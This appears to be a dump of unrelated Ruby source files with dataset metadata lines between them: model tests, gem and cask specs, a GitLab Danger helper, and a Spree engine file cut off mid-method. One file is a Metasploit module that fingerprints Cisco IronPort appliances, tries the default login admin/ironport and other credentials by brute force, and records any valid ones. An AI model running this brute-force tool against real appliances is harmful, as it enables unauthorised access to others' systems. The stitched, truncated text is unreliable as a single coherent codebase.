asset1 = ExternalAsset.new(external_service: 'OpenBIS', external_id: '23')
assert asset1.save
asset2 = ExternalAsset.new(external_service: 'OpenBIS', external_id: '23')
refute asset2.valid?
asset2 = ExternalAsset.new(external_service: 'OpenBIS1', external_id: '23')
assert asset2.valid?
asset2 = ExternalAsset.new(external_service: 'OpenBIS', external_id: '231')
assert asset2.valid?
end
test 'save fails in db if service and external id are not unique' do
skip('add_index constraint removed but can be readded in 1.9.0 and enforce newer version of mysql')
asset1 = ExternalAsset.new(external_service: 'OpenBIS', external_id: '23')
assert asset1.save
asset2 = ExternalAsset.new(external_service: 'OpenBIS', external_id: '23')
assert_raises(Exception) do
asset2.save validate: false
end
asset2 = ExternalAsset.new(external_service: 'OpenBIS1', external_id: '23')
assert asset2.save validate: false
asset2 = ExternalAsset.new(external_service: 'OpenBIS', external_id: '231')
assert asset2.save validate: false
end
test 'build_content sets the relationship that is persisted upon save' do
asset1 = ExternalAsset.new(external_service: 'OpenBIS', external_id: '24')
asset1.build_content_blob(url: 'openb-cos', original_filename: 'openbis-file',
make_local_copy: false, external_link: false)
refute asset1.content_blob.nil?
assert_difference('ExternalAsset.count') do
assert_difference('ContentBlob.count') do
assert asset1.save
end
end
assert ExternalAsset.exists? asset1.id
assert ContentBlob.exists? asset1.content_blob.id
assert_equal asset1, ContentBlob.find(asset1.content_blob.id).asset
end
test 'content_blob is deleted with exteranl asset' do
asset1 = ExternalAsset.new(external_service: 'OpenBIS', external_id: '24')
asset1.build_content_blob(url: 'openb-cos', original_filename: 'openbis-file',
make_local_copy: false, external_link: false)
assert_difference('ExternalAsset.count') do
assert_difference('ContentBlob.count') do
assert asset1.save
end
end
assert_difference('ExternalAsset.count', -1) do
assert_difference('ContentBlob.count', -1) do
assert asset1.destroy
end
end
refute ContentBlob.exists? asset1.content_blob.id
end
test 'stores UTF string in local_content_json that can be retrieved' do
asset1 = ExternalAsset.new(external_service: 'OpenBIS', external_id: '25')
asset1.content = { k1: 'Tomekółść' }
assert asset1.save
asset2 = ExternalAsset.last
assert_equal asset1, asset2
assert_equal 'Tomekółść', asset2.content['k1']
end
test 'updates local_content_json on save' do
asset1 = ExternalAsset.new(external_service: 'OpenBIS', external_id: '25')
asset1.content = 'Tomekółść'
assert asset1.save
asset1.content = 'Tomek1'
assert asset1.save
asset2 = ExternalAsset.last
assert_equal asset1, asset2
assert_equal 'Tomek1'.to_json, asset2.send(:local_content_json)
asset1.content = 'Tomek2'
assert asset1.save
asset2.reload
assert_equal 'Tomek2'.to_json, asset2.send(:local_content_json)
end
test 'content_blob is saved lazy' do
asset1 = ExternalAsset.new(external_service: 'OpenBIS', external_id: '24')
asset1.build_content_blob(url: 'openb-cos', original_filename: 'openbis-file',
make_local_copy: false, external_link: false)
assert_no_difference('ExternalAsset.count') do
assert_no_difference('ContentBlob.count') do
assert asset1.content = '23'
end
end
assert_difference('ExternalAsset.count', 1) do
assert_difference('ContentBlob.count', 1) do
assert asset1.save
end
end
end
test 'content is serialized only before saving' do
asset1 = ExternalAsset.new(external_service: 'OpenBIS', external_id: '24')
content = { k1: 1, k2: 'T' }
asset1.content = content
content[:k1] = 2
content[:k3] = 3
assert_equal 2, asset1.content[:k1]
assert_equal 3, asset1.content[:k3]
assert asset1.save
asset1 = ExternalAsset.find(asset1.id)
asset1.reload
assert_equal 2, asset1.content['k1']
assert_equal 3, asset1.content['k3']
end
test 'options are serialized before saving and read back' do
asset1 = ExternalAsset.new(external_service: 'OpenBIS', external_id: '24')
opt = { tomek: 2 }
asset1.sync_options = opt
# refute asset1.sync_options_json
assert asset1.save
# assert_equal '{"tomek":2}', asset1.sync_options_json
# asset1.sync_options = nil
asset2 = ExternalAsset.find(asset1.id)
assert_equal opt, asset2.sync_options
opt = {}
asset1.sync_options = opt
assert asset1.save
asset2 = ExternalAsset.find(asset1.id)
assert_equal opt, asset2.sync_options
end
test 'content_changed is true after settng content value' do
asset1 = ExternalAsset.new(external_service: 'OpenBIS', external_id: '25')
refute asset1.content_changed
asset1.content = { 'key1': 'value1' }
assert asset1.content_changed
end
test 'needs_reindexing tracks mod stamp and content setting' do
asset1 = ExternalAsset.new(external_service: 'OpenBIS', external_id: '25')
assert asset1.save
refute asset1.needs_reindexing
asset1.external_mod_stamp = 'X'
assert asset1.needs_reindexing
asset1.save
asset1.reload
asset1.external_mod_stamp = 'X'
refute asset1.needs_reindexing
asset1.external_mod_stamp = 'Y'
assert asset1.needs_reindexing
asset1.save
asset1.reload
asset1.external_mod_stamp = 'Y'
refute asset1.needs_reindexing
asset1.content = { 'key1': 'value1' }
asset1.external_mod_stamp = 'Y'
assert asset1.needs_reindexing
asset1.save
end
test 'setting content clears failures and err_msg' do
asset = ExternalAsset.new(external_service: 'OpenBIS', external_id: '23')
asset.content = { bla: 1 }
asset.err_msg = 'What'
asset.failures += 1
assert asset.save
asset.reload
assert_equal 1, asset.failures
assert_equal 'What', asset.err_msg
asset.content = { bla: 1 }
assert_equal 0, asset.failures
refute asset.err_msg
assert asset.synchronized?
end
test 'add_failure increases count and sets errors' do
asset = ExternalAsset.new(external_service: 'OpenBIS', external_id: '23')
assert_equal 0, asset.failures
asset.add_failure 'Blew off'
assert asset.failed?
assert_equal 1, asset.failures
assert_equal 'Blew off', asset.err_msg
end
test 'add_failure preserves fatal status' do
asset = ExternalAsset.new(external_service: 'OpenBIS', external_id: '23')
asset.sync_state = :fatal
assert_equal 0, asset.failures
assert asset.fatal?
asset.add_failure 'Blew off'
assert asset.fatal?
refute asset.failed?
assert_equal 1, asset.failures
assert_equal 'Blew off', asset.err_msg
end
test 'extract_mod_stamp gives object hash' do
asset = ExternalAsset.new(external_service: 'OpenBIS', external_id: '23')
assert_equal '-1', asset.extract_mod_stamp(nil)
obj = { key1: 'value1' }
assert_equal obj.hash.to_s, asset.extract_mod_stamp(obj)
class TmpH
def hash
12
end
end
obj = TmpH.new
assert_equal '12', asset.extract_mod_stamp(obj)
end
test 'local_json_content can be read multiple times' do
asset = ExternalAsset.new(external_service: 'OpenBIS', external_id: '23')
obj = { key1: 'value1' }
asset.content = obj
assert asset.save
assert_equal obj.to_json, asset.send(:local_content_json)
assert_equal obj.to_json, asset.send(:local_content_json)
assert_equal obj.to_json, asset.send(:local_content_json)
end
test 'detect_change compares mod stamps' do
asset = ExternalAsset.new(external_service: 'OpenBIS', external_id: '23')
obj = { key1: 'value1' }
asset.content = obj
refute asset.detect_change(obj, nil)
asset.save
refute asset.detect_change(obj, obj.to_json)
asset.external_mod_stamp = 'X'
assert asset.detect_change(obj, obj.to_json)
end
test 'save triggers reindexing if content changed' do
assert Seek::Config.solr_enabled
assay = Factory :assay
asset1 = ExternalAsset.new(external_service: 'OpenBIS', external_id: '25')
assay.external_asset = asset1
assert assay.save
asset1.content = { 'key1': 'value1' }
asset1.external_mod_stamp = 'ALA'
asset1.sync_options = { 'sync': false }
assert_enqueued_jobs(1, only: ReindexingJob) do
asset1.save
end
assert ReindexingQueue.exists?(item: assay)
# to reload and clear field
assay = Assay.find(assay.id)
asset1 = assay.external_asset
asset1.sync_options = { 'sync': false }
asset1.synchronized_at = DateTime.now
assert_no_enqueued_jobs(only: ReindexingJob) do
asset1.save
end
asset1.content = { 'key1': 'value1' }
assert_enqueued_jobs(1, only: ReindexingJob) do
asset1.save
end
assert ReindexingQueue.exists?(item: assay)
end
class TmpJson1
attr_reader :json
def initialize
@json = 'Ha'
end
def to_json
raise 'should not be called'
end
end
class TmpJson2
attr_reader :json
def initialize
@json = { 'Ha' => 1 }
end
def to_json
raise 'should not be called'
end
end
test 'serialize calls defaults json methods, fields' do
asset1 = ExternalAsset.new(external_service: 'OpenBIS', external_id: '24')
assert_equal '[2,3]', asset1.serialize_content([2, 3])
assert_equal '{"t":false}', asset1.serialize_content(t: false)
assert_equal 'Ha', asset1.serialize_content(TmpJson1.new)
assert_equal '{"Ha":1}', asset1.serialize_content(TmpJson2.new)
end
test 'setting content object updates state' do
asset1 = ExternalAsset.new(external_service: 'OpenBIS', external_id: '24')
asset1.err_msg = 'Wrong'
asset1.sync_state = :failed
refute asset1.synchronized?
obj = { key: 123 }
asset1.content = obj
assert asset1.synchronized_at
assert_equal 'synchronized', asset1.sync_state
assert asset1.synchronized?
refute asset1.err_msg
assert_equal 1, asset1.version
assert_same obj, asset1.content
assert asset1.save
assert_equal '{"key":123}', asset1.send(:local_content_json)
end
test 'accessing content deserialized local json if synchronized' do
asset1 = ExternalAsset.new(external_service: 'OpenBIS', external_id: '24')
obj = { 'tomek' => 'yes' }
asset1.sync_state = :synchronized
asset1.content = obj
assert asset1.save
asset2 = ExternalAsset.find(asset1.id)
asset2.reload
assert_equal obj, asset2.content
end
test 'accessing content triggers not implemented fetching if state is not synchronized' do
skip 'Remote fetching now is done explicit by controller or background job'
asset1 = ExternalAsset.new(external_service: 'OpenBIS', external_id: '24')
obj = { 'tomek' => 'yes' }
asset1.content = obj
asset1.sync_state = :refresh
assert_raises(Exception) do
assert_equal obj, asset1.content
end
end
test 'accessing content just gives local json if state is not synchronized' do
asset1 = ExternalAsset.new(external_service: 'OpenBIS', external_id: '24')
obj = { 'tomek' => 'yes' }
asset1.content = obj
assert asset1.save
asset1 = ExternalAsset.find(asset1.id)
asset1.reload
asset1.sync_state = :refresh
assert_equal obj, asset1.content
end
end
| 29.114355 | 103 | 0.698145 |
0136c22edc03d2cdfb8a78485c39905653c8f8fc | 989 | require 'spec_helper'
describe UserInviteRequestsHelper do
describe "link_to_previous_invite_requests" do
before(:each) do
@user = FactoryGirl.create(:user)
@user2 = FactoryGirl.create(:user)
@invitation_request1 = FactoryGirl.create(:user_invite_requests, user_id: @user.id)
@invitation_request1.user.invitations.create
@invitation_request2 = FactoryGirl.create(:user_invite_requests, user_id: @user.id)
@invitation_request3 = FactoryGirl.create(:user_invite_requests, user_id: @user2.id)
end
context "users requesting an invitations" do
it "should show '0' if no previous invitation request" do
helper.link_to_previous_invite_requests(@invitation_request3).should eq "0"
end
it "should link to all previous invitation requests" do
helper.link_to_previous_invite_requests(@invitation_request2).should eq "<a href=\"/admin/invitations/find?user_name=#{@user.login}\">1</a>"
end
end
end
end | 39.56 | 148 | 0.733064 |
edfd78d310a48cbd760c9581c8db59d774a64f54 | 725 | Gem::Specification.new do |s|
s.name = 'spawn'
s.version = '0.1.3'
s.summary = %{Simple fixtures replacement for Sequel, ActiveRecord, Ohm and probably many other ORMs}
s.description = %{Spawn is a very small library (just 14 lines of code) that can effectively replace fixtures or any other library for the same task.}
s.authors = ["Michel Martens", "Damian Janowski"]
s.email = ["[email protected]", "[email protected]"]
s.homepage = "http://github.com/soveran/spawn"
s.files = ["lib/spawn.rb", "rails/init.rb", "README.markdown", "LICENSE", "Rakefile", "test/active_record_test.rb", "test/all_test.rb", "test/ohm_test.rb", "test/sequel_test.rb", "spawn.gemspec"]
s.rubyforge_project = "spawner"
end
| 60.416667 | 197 | 0.711724 |
ac606f932dbd116f21825d3b1af95cc805a6ad7d | 275 | cask 'fman' do
version '1.7.1'
sha256 '6a49f112e37d1aa933f3bec618ecd24b3385c4e47559b483d93ff9944e7ebca7'
url "https://fman.io/updates/mac/#{version}.zip"
appcast 'https://fman.io/updates/Appcast.xml'
name 'fman'
homepage 'https://fman.io/'
app 'fman.app'
end
| 22.916667 | 75 | 0.723636 |
ff51ce859c8ba7afd777d37c9e6c0e77baa3e7b7 | 3,978 | require_relative '../spec_helper'
describe 'register/indirect_index_configurator' do
include_context 'bit field type common'
include_context 'configuration common'
include_context 'ral common'
before(:all) do
enable :global, [:data_width, :address_width]
enable :register_block, [:name, :byte_size]
enable :register , [:name, :offset_address, :array, :type]
enable :register , :type, :indirect
enable :bit_field, [:name, :bit_assignment, :type, :initial_value, :reference]
enable :bit_field, :type, [:rw]
enable :register , :indirect_index_configurator
configuration = create_configuration
register_map = create_register_map(
configuration,
"block_0" => [
[nil, nil ,"block_0" ],
[nil, nil , 256 ],
[ ],
[ ],
[nil, "register_0", "0x00", nil , nil , "bit_field_0_0", "[31:24]", "rw", 0, nil],
[nil, nil , nil , nil , nil , "bit_field_0_1", "[23:16]", "rw", 0, nil],
[nil, "register_1", "0x04", nil , nil , "bit_field_1_0", "[15: 8]", "rw", 0, nil],
[nil, nil , nil , nil , nil , "bit_field_1_1", "[ 7: 0]", "rw", 0, nil],
[nil, "register_2", "0x10", nil , "indirect: bit_field_0_0:0" , "bit_field_2_0", "[31: 0]", "rw", 0, nil],
[nil, "register_3", "0x14", "[4]" , "indirect: bit_field_0_0 " , "bit_field_3_0", "[31: 0]", "rw", 0, nil],
[nil, "register_4", "0x18", "[2,4]", "indirect: bit_field_0_0:0, bit_field_0_1, bit_field_1_0, bit_field_1_1:3", "bit_field_4_0", "[31: 0]", "rw", 0, nil]
]
)
@ral = build_ral_factory.create(configuration, register_map).registers
end
after(:all) do
clear_enabled_items
end
let(:ral) do
@ral
end
describe "#generate_code" do
context "間接参照レジスタではない場合" do
it "コードの生成を行わない" do
expect(ral[0]).to generate_code(:reg_model_item, :top_down, "")
end
end
context "間接参照レジスタの場合" do
let(:expected_code_2) do
<<'CODE'
function void configure_indirect_indexes();
set_indirect_index("register_0", "bit_field_0_0", 0);
endfunction
CODE
end
let(:expected_code_3) do
<<'CODE'
function void configure_indirect_indexes();
set_indirect_index("register_0", "bit_field_0_0", indexes[0]);
endfunction
CODE
end
let(:expected_code_4) do
<<'CODE'
function void configure_indirect_indexes();
set_indirect_index("register_0", "bit_field_0_0", 0);
set_indirect_index("register_0", "bit_field_0_1", indexes[0]);
set_indirect_index("register_1", "bit_field_1_0", indexes[1]);
set_indirect_index("register_1", "bit_field_1_1", 3);
endfunction
CODE
end
it "間接参照インデックスの設定を行うconfigure_indirect_indexesメソッドの定義を生成する" do
expect(ral[2]).to generate_code(:reg_model_item, :top_down, expected_code_2)
expect(ral[3]).to generate_code(:reg_model_item, :top_down, expected_code_3)
expect(ral[4]).to generate_code(:reg_model_item, :top_down, expected_code_4)
end
end
end
end | 45.724138 | 163 | 0.487934 |
38dda9383c6453c46300137fd71f6908807a3032 | 9,093 | # frozen_string_literal: true
require_relative 'teammate'
module Gitlab
module Danger
module Helper
RELEASE_TOOLS_BOT = 'gitlab-release-tools-bot'
DRAFT_REGEX = /\A*#{Regexp.union(/(?i)(\[WIP\]\s*|WIP:\s*|WIP$)/, /(?i)(\[draft\]|\(draft\)|draft:|draft\s\-\s|draft$)/)}+\s*/i.freeze
# Returns a list of all files that have been added, modified or renamed.
# `git.modified_files` might contain paths that already have been renamed,
# so we need to remove them from the list.
#
# Considering these changes:
#
# - A new_file.rb
# - D deleted_file.rb
# - M modified_file.rb
# - R renamed_file_before.rb -> renamed_file_after.rb
#
# it will return
# ```
# [ 'new_file.rb', 'modified_file.rb', 'renamed_file_after.rb' ]
# ```
#
# @return [Array<String>]
def all_changed_files
Set.new
.merge(git.added_files.to_a)
.merge(git.modified_files.to_a)
.merge(git.renamed_files.map { |x| x[:after] })
.subtract(git.renamed_files.map { |x| x[:before] })
.to_a
.sort
end
# Returns a string containing changed lines as git diff
#
# Considering changing a line in lib/gitlab/usage_data.rb it will return:
#
# [ "--- a/lib/gitlab/usage_data.rb",
# "+++ b/lib/gitlab/usage_data.rb",
# "+ # Test change",
# "- # Old change" ]
def changed_lines(changed_file)
diff = git.diff_for_file(changed_file)
return [] unless diff
diff.patch.split("\n").select { |line| %r{^[+-]}.match?(line) }
end
def all_ee_changes
all_changed_files.grep(%r{\Aee/})
end
def ee?
# Support former project name for `dev` and support local Danger run
%w[gitlab gitlab-ee].include?(ENV['CI_PROJECT_NAME']) || Dir.exist?(File.expand_path('../../../ee', __dir__))
end
def gitlab_helper
# Unfortunately the following does not work:
# - respond_to?(:gitlab)
# - respond_to?(:gitlab, true)
gitlab
rescue NoMethodError
nil
end
def release_automation?
gitlab_helper&.mr_author == RELEASE_TOOLS_BOT
end
def project_name
ee? ? 'gitlab' : 'gitlab-foss'
end
def markdown_list(items)
list = items.map { |item| "* `#{item}`" }.join("\n")
if items.size > 10
"\n<details>\n\n#{list}\n\n</details>\n"
else
list
end
end
# @return [Hash<String,Array<String>>]
def changes_by_category
all_changed_files.each_with_object(Hash.new { |h, k| h[k] = [] }) do |file, hash|
categories_for_file(file).each { |category| hash[category] << file }
end
end
# Determines the categories a file is in, e.g., `[:frontend]`, `[:backend]`, or `%i[frontend engineering_productivity]`
# using filename regex and specific change regex if given.
#
# @return Array<Symbol>
def categories_for_file(file)
_, categories = CATEGORIES.find do |key, _|
filename_regex, changes_regex = Array(key)
found = filename_regex.match?(file)
found &&= changed_lines(file).any? { |changed_line| changes_regex.match?(changed_line) } if changes_regex
found
end
Array(categories || :unknown)
end
# Returns the GFM for a category label, making its best guess if it's not
# a category we know about.
#
# @return[String]
def label_for_category(category)
CATEGORY_LABELS.fetch(category, "~#{category}")
end
CATEGORY_LABELS = {
docs: "~documentation", # Docs are reviewed along DevOps stages, so don't need roulette for now.
none: "",
qa: "~QA",
test: "~test ~Quality for `spec/features/*`",
engineering_productivity: '~"Engineering Productivity" for CI, Danger',
ci_template: '~"ci::templates"'
}.freeze
# First-match win, so be sure to put more specific regex at the top...
CATEGORIES = {
[%r{usage_data\.rb}, %r{^(\+|-).*(count|distinct_count)\(.*\)(.*)$}] => [:database, :backend],
%r{\Adoc/.*(\.(md|png|gif|jpg))\z} => :docs,
%r{\A(CONTRIBUTING|LICENSE|MAINTENANCE|PHILOSOPHY|PROCESS|README)(\.md)?\z} => :docs,
%r{\A(ee/)?app/(assets|views)/} => :frontend,
%r{\A(ee/)?public/} => :frontend,
%r{\A(ee/)?spec/(javascripts|frontend)/} => :frontend,
%r{\A(ee/)?vendor/assets/} => :frontend,
%r{\A(ee/)?scripts/frontend/} => :frontend,
%r{(\A|/)(
\.babelrc |
\.eslintignore |
\.eslintrc(\.yml)? |
\.nvmrc |
\.prettierignore |
\.prettierrc |
\.scss-lint.yml |
\.stylelintrc |
\.haml-lint.yml |
\.haml-lint_todo.yml |
babel\.config\.js |
jest\.config\.js |
package\.json |
yarn\.lock |
config/.+\.js
)\z}x => :frontend,
%r{(\A|/)(
\.gitlab/ci/frontend\.gitlab-ci\.yml
)\z}x => %i[frontend engineering_productivity],
%r{\A(ee/)?db/(?!fixtures)[^/]+} => :database,
%r{\A(ee/)?lib/gitlab/(database|background_migration|sql|github_import)(/|\.rb)} => :database,
%r{\A(app/models/project_authorization|app/services/users/refresh_authorized_projects_service)(/|\.rb)} => :database,
%r{\A(ee/)?app/finders/} => :database,
%r{\Arubocop/cop/migration(/|\.rb)} => :database,
%r{\A(\.gitlab-ci\.yml\z|\.gitlab\/ci)} => :engineering_productivity,
%r{\A\.codeclimate\.yml\z} => :engineering_productivity,
%r{\A\.overcommit\.yml\.example\z} => :engineering_productivity,
%r{\A\.editorconfig\z} => :engineering_productivity,
%r{Dangerfile\z} => :engineering_productivity,
%r{\A(ee/)?(danger/|lib/gitlab/danger/)} => :engineering_productivity,
%r{\A(ee/)?scripts/} => :engineering_productivity,
%r{\Atooling/} => :engineering_productivity,
%r{(CODEOWNERS)} => :engineering_productivity,
%r{(tests.yml)} => :engineering_productivity,
%r{\Alib/gitlab/ci/templates} => :ci_template,
%r{\A(ee/)?spec/features/} => :test,
%r{\A(ee/)?spec/support/shared_examples/features/} => :test,
%r{\A(ee/)?spec/support/shared_contexts/features/} => :test,
%r{\A(ee/)?spec/support/helpers/features/} => :test,
%r{\A(ee/)?app/(?!assets|views)[^/]+} => :backend,
%r{\A(ee/)?(bin|config|generator_templates|lib|rubocop)/} => :backend,
%r{\A(ee/)?spec/} => :backend,
%r{\A(ee/)?vendor/} => :backend,
%r{\A(Gemfile|Gemfile.lock|Rakefile)\z} => :backend,
%r{\A[A-Z_]+_VERSION\z} => :backend,
%r{\A\.rubocop(_todo)?\.yml\z} => :backend,
%r{\Afile_hooks/} => :backend,
%r{\A(ee/)?qa/} => :qa,
# Files that don't fit into any category are marked with :none
%r{\A(ee/)?changelogs/} => :none,
%r{\Alocale/gitlab\.pot\z} => :none,
%r{\Adata/whats_new/} => :none,
# GraphQL auto generated doc files and schema
%r{\Adoc/api/graphql/reference/} => :backend,
# Fallbacks in case the above patterns miss anything
%r{\.rb\z} => :backend,
%r{(
\.(md|txt)\z |
\.markdownlint\.json
)}x => :none, # To reinstate roulette for documentation, set to `:docs`.
%r{\.js\z} => :frontend
}.freeze
def new_teammates(usernames)
usernames.map { |u| Gitlab::Danger::Teammate.new('username' => u) }
end
def sanitize_mr_title(title)
title.gsub(DRAFT_REGEX, '').gsub(/`/, '\\\`')
end
def draft_mr?
return false unless gitlab_helper
DRAFT_REGEX.match?(gitlab_helper.mr_json['title'])
end
def security_mr?
return false unless gitlab_helper
gitlab_helper.mr_json['web_url'].include?('/gitlab-org/security/')
end
def cherry_pick_mr?
return false unless gitlab_helper
/cherry[\s-]*pick/i.match?(gitlab_helper.mr_json['title'])
end
def stable_branch?
return false unless gitlab_helper
/\A\d+-\d+-stable-ee/i.match?(gitlab_helper.mr_json['target_branch'])
end
def mr_has_labels?(*labels)
return false unless gitlab_helper
labels = labels.flatten.uniq
(labels & gitlab_helper.mr_labels) == labels
end
def labels_list(labels, sep: ', ')
labels.map { |label| %Q{~"#{label}"} }.join(sep)
end
def prepare_labels_for_mr(labels)
return '' unless labels.any?
"/label #{labels_list(labels, sep: ' ')}"
end
def changed_files(regex)
all_changed_files.grep(regex)
end
def has_database_scoped_labels?(current_mr_labels)
current_mr_labels.any? { |label| label.start_with?('database::') }
end
end
end
end
| 33.186131 | 140 | 0.56648 |
1c91c65d1f35aede62a0ebff3a90c6134b410917 | 332 | class KomodoIde < Cask
version '8.5.4-86985'
sha256 'dde427a79aa17f5404b15bb286c075857fe5407f98395cc97f3e0e9c8b27851c'
url "http://downloads.activestate.com/Komodo/releases/#{version.gsub(/-.*/, '')}/Komodo-IDE-#{version}-macosx-x86_64.dmg"
homepage 'http://komodoide.com/'
license :unknown
app 'Komodo IDE 8.app'
end
| 30.181818 | 123 | 0.740964 |
1ad9569c25edd2676a6c9909f2dc95100cde17bc | 3,459 | shared_examples_for :finders do |param_name, param_method|
context "using #{param_name} as parameter" do
describe '.with_role' do
it { should respond_to(:with_role).with(1).arguments }
it { should respond_to(:with_role).with(2).arguments }
context 'with a global role' do
it { subject.with_role('admin'.send(param_method)).should eq([ admin ]) }
it { subject.with_role('moderator'.send(param_method)).should be_empty }
it { subject.with_role('manager'.send(param_method)).should be_empty }
end
context 'with a class role' do
context 'on Forum class' do
it { subject.with_role('admin'.send(param_method), Forum).should eq([ admin ])}
it { subject.with_role('moderator'.send(param_method), Forum).should include(admin, moderator)}
it { subject.with_role('manager'.send(param_method), Forum).should be_empty }
end
context 'on Group class' do
it { subject.with_role('admin'.send(param_method), Group).should eq([ admin ])}
it { subject.with_role('moderator'.send(param_method), Group).should eq([ admin ])}
it { subject.with_role('manager'.send(param_method), Group).should eq([ moderator ]) }
end
end
context 'with an instance role' do
context 'on Forum first instance' do
it { subject.with_role('admin'.send(param_method), Forum.first).should eq([ admin ])}
it { subject.with_role('moderator'.send(param_method), Forum.first).should include(admin, manager, moderator)}
it { subject.with_role('manager'.send(param_method), Forum.first).should eq([ admin ]) }
end
context 'on Forum last instance' do
it { subject.with_role('admin'.send(param_method), Forum.last).should eq([ admin ])}
it { subject.with_role('moderator'.send(param_method), Forum.last).should include(admin, moderator)}
it { subject.with_role('manager'.send(param_method), Forum.last).should be_empty }
end
context 'on Group first instnace' do
it { subject.with_role('admin'.send(param_method), Group.first).should eq([ admin ]) }
it { subject.with_role('moderator'.send(param_method), Group.first).should eq([ admin ]) }
it { subject.with_role('manager'.send(param_method), Group.first).should eq([ moderator ]) }
end
end
end
describe '.with_all_roles' do
end
describe '.with_any_role' do
end
describe '.with_permission' do
it { should respond_to(:with_permission).with(1).arguments }
it { should respond_to(:with_permission).with(2).arguments }
context 'with a global role' do
it { subject.with_permission('create_user'.send(param_method)).should eq([ admin ]) }
it { subject.with_permission('update_user'.send(param_method)).should be_empty }
end
context 'with a class role' do
context 'on Group class' do
it { subject.with_permission('update_user'.send(param_method), Group).should include(admin, moderator) }
end
end
context 'with an instance role' do
context 'on Forum first instance' do
it { subject.with_permission('create_user'.send(param_method), Forum.first).should include(manager) }
end
end
end
describe '.with_all_permissions' do
end
describe '.with_any_permission' do
end
end
end
| 34.247525 | 120 | 0.648453 |
62ad5f5c2df76e874dd88143e13d2eaf10e67f1c | 72 | module Grape
# The current version of Grape.
VERSION = '0.13.1'
end
| 14.4 | 33 | 0.680556 |
2821c625fd8054e9d82b46ed65b460e922927946 | 4,786 | ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Scanner
def initialize(info={})
super(update_info(info,
'Name' => 'Cisco Ironport Bruteforce Login Utility',
'Description' => %{
This module scans for Cisco Ironport SMA, WSA and ESA web login portals, finds AsyncOS
versions, and performs login brute force to identify valid credentials.
},
'Author' =>
[
'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
],
'License' => MSF_LICENSE,
'DefaultOptions' => { 'SSL' => true }
))
register_options(
[
Opt::RPORT(443),
OptString.new('USERNAME', [true, "A specific username to authenticate as", "admin"]),
OptString.new('PASSWORD', [true, "A specific password to authenticate with", "ironport"])
])
end
def run_host(ip)
unless check_conn?
print_error("#{rhost}:#{rport} - Connection failed, Aborting...")
return
end
unless is_app_ironport?
print_error("#{rhost}:#{rport} - Application does not appear to be Cisco Ironport. Module will not continue.")
return
end
print_status("#{rhost}:#{rport} - Starting login brute force...")
each_user_pass do |user, pass|
do_login(user, pass)
end
end
def check_conn?
begin
res = send_request_cgi(
{
'uri' => '/',
'method' => 'GET'
})
if res
print_good("#{rhost}:#{rport} - Server is responsive...")
return true
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
end
false
end
#
# What's the point of running this module if the app actually isn't Cisco IronPort
#
def is_app_ironport?
res = send_request_cgi(
{
'uri' => '/',
'method' => 'GET'
})
if res && res.get_cookies
cookie = res.get_cookies
res = send_request_cgi(
{
'uri' => "/help/wwhelp/wwhimpl/common/html/default.htm",
'method' => 'GET',
'cookie' => cookie
})
if (res and res.code == 200 and res.body.include?('Cisco IronPort AsyncOS'))
version_key = /Cisco IronPort AsyncOS (.+? )/
version = res.body.scan(version_key).flatten[0].gsub('"','')
product_key = /for (.*)</
product = res.body.scan(product_key).flatten[0]
if (product == 'Security Management Appliances')
p_name = 'Cisco IronPort Security Management Appliance (SMA)'
print_good("#{rhost}:#{rport} - Running Cisco IronPort #{product} (SMA) - AsyncOS v#{version}")
elsif ( product == 'Cisco IronPort Web Security Appliances' )
p_name = 'Cisco IronPort Web Security Appliance (WSA)'
print_good("#{rhost}:#{rport} - Running #{product} (WSA) - AsyncOS v#{version}")
elsif ( product == 'Cisco IronPort Appliances' )
p_name = 'Cisco IronPort Email Security Appliance (ESA)'
print_good("#{rhost}:#{rport} - Running #{product} (ESA) - AsyncOS v#{version}")
end
return true
else
return false
end
else
return false
end
end
def service_details
super.merge({service_name: 'Cisco IronPort Appliance'})
end
#
# Brute-force the login page
#
def do_login(user, pass)
vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}")
begin
res = send_request_cgi(
{
'uri' => '/login',
'method' => 'POST',
'vars_post' =>
{
'action' => 'Login',
'referrer' => '',
'screen' => 'login',
'username' => user,
'password' => pass
}
})
if res and res.get_cookies.include?('authenticated=')
print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
store_valid_credential(user: user, private: pass, proof: res.get_cookies.inspect)
return :next_user
else
vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting")
return :abort
end
end
end
| 30.100629 | 125 | 0.579189 |
284b5fd3777f49c983af5342f859de0041753552 | 4,559 | module Spree
module Core
class Engine < ::Rails::Engine
isolate_namespace Spree
engine_name 'spree'
rake_tasks do
load File.join(root, 'lib', 'tasks', 'exchanges.rake')
end
initializer 'spree.environment', before: :load_config_initializers do |app|
app.config.spree = Spree::Core::Environment.new
Spree::Config = app.config.spree.preferences # legacy access
end
initializer 'spree.register.calculators' do |app|
app.config.spree.calculators.shipping_methods = [
Spree::Calculator::Shipping::FlatPercentItemTotal,
Spree::Calculator::Shipping::FlatRate,
Spree::Calculator::Shipping::FlexiRate,
Spree::Calculator::Shipping::PerItem,
Spree::Calculator::Shipping::PriceSack
]
app.config.spree.calculators.tax_rates = [
Spree::Calculator::DefaultTax
]
end
initializer 'spree.register.stock_splitters' do |app|
app.config.spree.stock_splitters = [
Spree::Stock::Splitter::ShippingCategory,
Spree::Stock::Splitter::Backordered
]
end
initializer 'spree.register.payment_methods' do |app|
app.config.spree.payment_methods = [
Spree::Gateway::Bogus,
Spree::Gateway::BogusSimple,
Spree::PaymentMethod::Check,
Spree::PaymentMethod::StoreCredit
]
end
initializer 'spree.register.adjustable_adjusters' do |app|
app.config.spree.adjusters = [
Spree::Adjustable::Adjuster::Promotion,
Spree::Adjustable::Adjuster::Tax
]
end
# We need to define promotions rules here so extensions and existing apps
# can add their custom classes on their initializer files
initializer 'spree.promo.environment' do |app|
app.config.spree.add_class('promotions')
